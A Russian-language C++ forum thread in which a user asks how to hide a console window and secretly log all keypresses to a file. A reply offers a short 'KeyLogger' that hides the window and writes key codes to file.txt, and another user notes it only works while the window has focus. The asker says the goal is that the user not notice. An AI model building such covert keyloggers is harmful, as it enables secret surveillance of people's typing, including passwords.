Форум программистов, компьютерный форум, киберфорум
Наши страницы

С++ для начинающих

Войти
Регистрация
Восстановить пароль
 
 
Рейтинг: Рейтинг темы: голосов - 19, средняя оценка - 4.68
Egor138
32 / 13 / 2
Регистрация: 10.08.2012
Сообщений: 619
Записей в блоге: 2
#1

Обработчик нажатия клавиш - C++

15.08.2013, 13:10. Просмотров 3039. Ответов 20
Метки нет (Все метки)

Хочу написать обработчик нажатия клавиш. А именно чтобы после запуска приложения консольное окно сворачивалось и программа считывала все нажатые клавиши и записывала их в текстовой файлов.

Вот основные проблемы, которые у меня возникают при создании:

1) Каким именно должен быть обработчик клавиш
2) Как полностью свернуть окно, чтобы оно нигде не отображалось и как потом постоянно считывать клавиши


Заранее спасибо!
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
Similar
Эксперт
41792 / 34177 / 6122
Регистрация: 12.04.2006
Сообщений: 57,940
15.08.2013, 13:10
Здравствуйте! Я подобрал для вас темы с ответами на вопрос Обработчик нажатия клавиш (C++):

Нажатия клавиш - C++
В mfc нужно чтобы при нажатии клавиш, происходило действие. С помощью WM_KEYDOWN, пытался сделать, чтобы при нажатии клавиш программа...

Распознавание нажатия клавиш - C++
Народ всем привет... Как осуществить на с++ такую вот прикалюху: при нажатии клавиши, например стрелочки в строковую переменную...

Нереагирование на нажатия клавиш - C++
Как можно сделать чтобы после запуска файла, нельзя было ничего нажимать на клавиатуре, двигать мышкой.

Отслеживание нажатия клавиш. - C++
#include <iostream> #include <string> #define FOR(i,a,b) for (int i(a), _n(b); i < _n; ++i) using namespace std; int...

Имитация нажатия клавиш С/С++ - C++
Задача такая: Программа должна имитировать нажатие клавиш в фоновом режиме. То-есть она должна нажимать заранее заданные кнопки(кнопку),...

Отслеживание нажатия клавиш - C++
Помогите решить Напишите программу, печатающие коды, генерируемые при нажатии любой клавиши или комбинации клавиш. Используйте функцию...

20
Bend3r
149 / 136 / 18
Регистрация: 29.07.2012
Сообщений: 709
15.08.2013, 17:12 #16
Давно делал тоже такую программу. Хотел что-то подобное KeyLogger за пользователем. Надо будет переделаешь для себя. Вот код:
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#pragma hdrstop
#include <iostream>
#include <fstream>
#include <Windows>
#include <conio>
 
using namespace std;
 
void main()
{
SetConsoleCP(1251);
SetConsoleOutputCP(1251);
ofstream f;
SYSTEMTIME st;
GetSystemTime(&st);
f.open("file.txt");
HWND hWnd = GetConsoleWindow ();
ShowWindow(hWnd, SW_HIDE);
while(getch() != 27)
{
while(!kbhit());
 
f << "Код клавишы - " << getch() << "День - " << st.wDay << endl;
 
}
ShowWindow(hWnd, SW_SHOW);
 
f.close(); 
}
1
castaway
Эксперт С++
4915 / 3023 / 370
Регистрация: 10.11.2010
Сообщений: 11,080
Записей в блоге: 10
Завершенные тесты: 1
15.08.2013, 17:20 #17
Bend3r, это программа не будет работать если окно потеряет фокус, а оно его потеряет.
1
Bend3r
149 / 136 / 18
Регистрация: 29.07.2012
Сообщений: 709
15.08.2013, 17:55 #18
Цитата Сообщение от castaway Посмотреть сообщение
Bend3r, это программа не будет работать если окно потеряет фокус, а оно его потеряет.
Программа будет работать, т.к программа свернется в трей. И закрыть можно будет только через диспечер либо нажатием Esc.
1
castaway
Эксперт С++
4915 / 3023 / 370
Регистрация: 10.11.2010
Сообщений: 11,080
Записей в блоге: 10
Завершенные тесты: 1
15.08.2013, 18:06 #19
Во-первых не в трей, а в taskbar.
Во-вторых не важно куда свернется программа, важно что она будет "ловить" нажатия клавиш только тогда, когда на ней будет установлен фокус. Если окно с программой теряет фокус (если щелкнуть левой кнопкой мыши по другому окну, т.е. активировать другое окно), то и "ловить" она ничего не будет. Вы хоть сами то запускали свою программу?
1
Новичок
Модератор
1261 / 809 / 182
Регистрация: 17.07.2012
Сообщений: 4,295
Записей в блоге: 1
Завершенные тесты: 2
16.08.2013, 22:42 #20
Цитата Сообщение от Egor138 Посмотреть сообщение
Jupiter, Пишу исключительно для собственного интереса и не более )
А зачем консоль скрывать?
0
Egor138
32 / 13 / 2
Регистрация: 10.08.2012
Сообщений: 619
Записей в блоге: 2
17.08.2013, 03:09  [ТС] #21
Цитата Сообщение от Новичок Посмотреть сообщение
А зачем консоль скрывать?
Чтобы пользователь не ввидел считывание нажатия клавиш)
0
17.08.2013, 03:09
MoreAnswers
Эксперт
37091 / 29110 / 5898
Регистрация: 17.06.2006
Сообщений: 43,301
17.08.2013, 03:09
Привет! Вот еще темы с ответами:

Обработка нажатия клавиш - C++
Здравствуйте! Необходимо решить следующую задачу: Есть консольное приложение, которое разрабатывается с использованием C++, с...

Имитация нажатия клавиш - C++
как только и не пытался всё выводит одну и туже ошибку, помогите начинающему c++ юзеру #include &lt;iostream&gt; #include &lt;Windows.h&gt; ...

Отлов нажатия клавиш - C++
Доброго времени суток! Стоит задача при нажатии оперделенной клавиши выполнить действие. Код: #include &lt;windows.h&gt; #include...

Добавить события нажатия клавиш - C++
Всем привет! Я пишу простенький тетрис Подскажите как добавить события нажатия клавиш в программу? #include &lt;stdio.h&gt; #include...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
21
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2017, vBulletin Solutions, Inc.
Рейтинг@Mail.ru